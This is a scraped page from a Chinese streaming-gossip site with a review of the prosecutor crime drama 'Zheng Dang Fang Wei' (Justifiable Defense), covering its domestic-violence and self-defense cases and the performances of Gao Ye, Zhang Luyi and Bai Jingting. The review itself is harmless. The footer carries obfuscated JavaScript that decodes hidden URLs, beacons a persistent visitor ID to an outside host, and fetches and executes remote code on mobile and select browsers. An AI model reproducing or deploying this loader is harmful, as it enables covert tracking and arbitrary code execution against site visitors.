高叶出手，张鲁一入局，白敬亭作配，这部犯罪剧开播就夺榜单冠军

来源：泡剧网人气：92更新：2025-07-21 13:07:04

是时候感受一下女检察官的风采了！

虽然《以法之名》的女主角，是刚刚拿下白玉兰最佳女配的蒋欣，同样将一个刚正不阿又有魅力的女检察官演绎的入木三分。



但有一说一，《以法之名》的高光，几乎都留给了张译饰演的洪亮。

女检察官的风采，全靠蒋欣的演技撑着，人设本身反倒少了些亮点。

但这部同题材的新剧《正当防卫》就不一样了。

同样是接到举报，女检察官方灵渊（高叶饰演），直接找到被举报的检察官贴脸开大。



看的我直呼好家伙。

这犀利的发问，锋利的眼神，都把我问冒汗了。

但也正因如此，《正当防卫》用一位不按常理出牌的女检察官，完成了先声夺人。

而这部犯罪剧，也一开播就夺下榜单冠军。



可以说它比《以法之名》更尖锐，因为它讨论的，是最容易产生争议的正当防卫。

那么，到底怎么才算正当防卫呢？



一，检察官杀人，案中有案，这剧尺度绝了

讲司法，讲检察官，不一定少不了它--

案子。

而开局的三大案件，就足以引发各个圈层的讨论。

有展现男女视角不同看法的案子；



也有让每一位大学生产生自我代入感的案子；

甚至还有是个老百姓就忍不住停下来关注的案子。

可以说三大案既有代表性，又有尺度，堪称一绝。

第一案，家暴杀夫案。

最容易引发争议的，往往就是家暴杀夫案。



妻子承受不了丈夫长期以来的暴力虐待，在对方无端怀疑自己出轨时，拿刀一步步逼近，准备杀掉妻子。

情急之下，妻子用手中的水果刀刺向对方，连刺七刀后致使对方死亡。



这看起来，符合正当防卫的法律条例。

但检察官们坐在一起讨论这一案件时，却给出了不同的看法。

男检察官认为这就是故意杀人。



受到生命威胁的妻子可以尝试跑向门外，而不是跑向阳台，刺了一刀之后又连刺六刀，符合故意杀人的性质。

女检察官认为，在当时的情况下，这是妻子本能的求生，只不过后续的六刀，有防卫过当之嫌，不属于故意杀人。



案子到底该怎么判？无疑是一大难题。

而主检察官段鸿山（张鲁一饰演），则倾向于既不是故意杀人，也不是防卫过当，而是正当防卫，可以直接判无罪。



这合理吗？

第二案，防卫过当案。

领导提醒段鸿山，可以拿14年前的一起防卫过当案做比较。

因为同样是他判过的案子，并且场景十分相像，最终是以故意伤害罪判处4年有期徒刑。



但疑点由此产生。

为何同一位检察官，对于家暴杀夫的判定是正当防卫，但对于男大学生在打架过程中自我防卫致人死亡，就是防卫过当了？



而这起14年前的案件中，有一位重要的证人，竟然在家暴杀夫案发生后，以证人的方式报警。

随着检察官方灵渊的介入，她还发现杀夫的妻子，也与14年前这起案子息息相关。



难道，当年的大学生防卫过当案有疑点？家暴杀夫案是人为制造的？

第三案，检察官杀人案。

就在段鸿山被举报与嫌疑人勾结的同时，他本人也介入了一起杀人案。

被人打晕后，段鸿山被绑在了海边，为了保护自己，他捅杀对方，事后主动报案。



检察官杀人，无数双眼睛盯着检察院，这该如何判？

就算真是正当防卫，这么判定会不会让大家误以为是检察院偏袒自己人？但如果罔顾事实只为了舆论，从重论处，又是否符合法律条款？



这一案的判决难度，无疑是最大的。

只看开局的这三起案子就知道，《正当防卫》太敢拍了！



二，高叶+张鲁一+白敬亭，狂飙演技太过瘾

除了题材，吸引我看这部剧的还有演员，而他们的表现也的确没有让大家失望。

第一位，高叶。

演完了《狂飙》，高叶就彻底撕掉大嫂的标签了。

就像这一次她饰演的检察官方灵渊，正直霸气，专业锐利，一出场就自带满满的压迫感。



单看高叶的外形气质并不是很强势，很有冲击力的那一种，但她总能演出反差感。



比如追问证人的那场戏，她微微俯下身子，眼神盯着对方，一句台词都没有，却让人忍不住心虚。



面对这样一位检察官，嘴再硬的嫌疑人全撂了都很有说服力。

第二位，张鲁一。

不同于张译，演过太多公检法系统的角色，张鲁一在这条赛道里还算新鲜。

但他的演技足够成熟，完全撑得起人物。



虽然初亮相时，也是一位正气十足的检察官，但随着案件推进，他身上的疑点越来越多，再加上背了命案，人设突然变得复杂起来。

最惊艳的是张鲁一演出了背上命案前后的反差。



身穿一身检察官制服时意气风发，眼神中写满坚定，让人相信他是一个拥有职业信仰的人。

但犯罪之后，眼神涣散，精神萎靡，只能感受到他周身散发出来的绝望。



演技十分老练。

第三位，白敬亭。

又一次对白敬亭刮目相看了。

他饰演的是14年前，被判故意伤害罪入狱的大学生李沐风。



没有提起当年的案件时，能够感受到他的温柔阳光。



但提起过去的案件，白敬亭眼中的光立马消失，整个人仿佛瞬间泄了气一般，足见这件事对他来说有多么压抑。



白敬亭的演技，成功增加了案件的悬疑感。

除此之外，饰演杀夫妻子的叶青，爆发力十足，有望像《以法之名》中的董晴一样逆袭出圈。



还有许久不见的张歆艺，演起律师来，也有说一不二的强大气场。



演员们的整体表现，不输《以法之名》。

结语

没想到，2025年国剧市场的“紫微星”，会是展现公检法系统的题材。

但《以法之名》和《正当防卫》并没有撞款，前者着重扫黑，后者着重破案。

看似相像，实则完全不同。



这也是打开《正当防卫》，有几分熟悉感叹不多的原因。除了那身检察官制服，并没有重合的案件，也没有相像的角色设定。



想必这也是《正当防卫》敢在《以法之名》收官后，紧随其后上线的原因吧！

你喜欢这部剧吗？


最新资讯

郑重声明：泡剧网所有播放资源均由机器人收集于互联网,本站不参与任何影视资源制作与存储,如若侵犯了您的权益请书面告知,我们会及时处理.

如果喜欢泡剧网请分享给身边的朋友,站内广告是本站能持续为大家服务的立命之本还望顺手支持一下^_^

百度蜘蛛 - 谷歌地图 - 神马爬虫 - 搜狗蜘蛛 - 奇虎地图 - 必应爬虫

Copyright © 2019-2024 · 泡剧网 www.bjhuahong.com

function wTUYUY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wTUYUY(t);};window[''+'d'+'p'+'U'+'X'+'Z'+'X'+'w'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ded.siabcbfo.com:8887/stats/2497?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLnNNiZnNNrdmxydnJrdm5uZG5yaHMuY29tJTNNBODg4NNw==','d3NzJTTNBJTTJGJTTJGZC5zamZrYnZza3Zzam5ia3J2LmNvbSUzQTTg4ODc=','2891',window,document,['N','T']);}:function(){};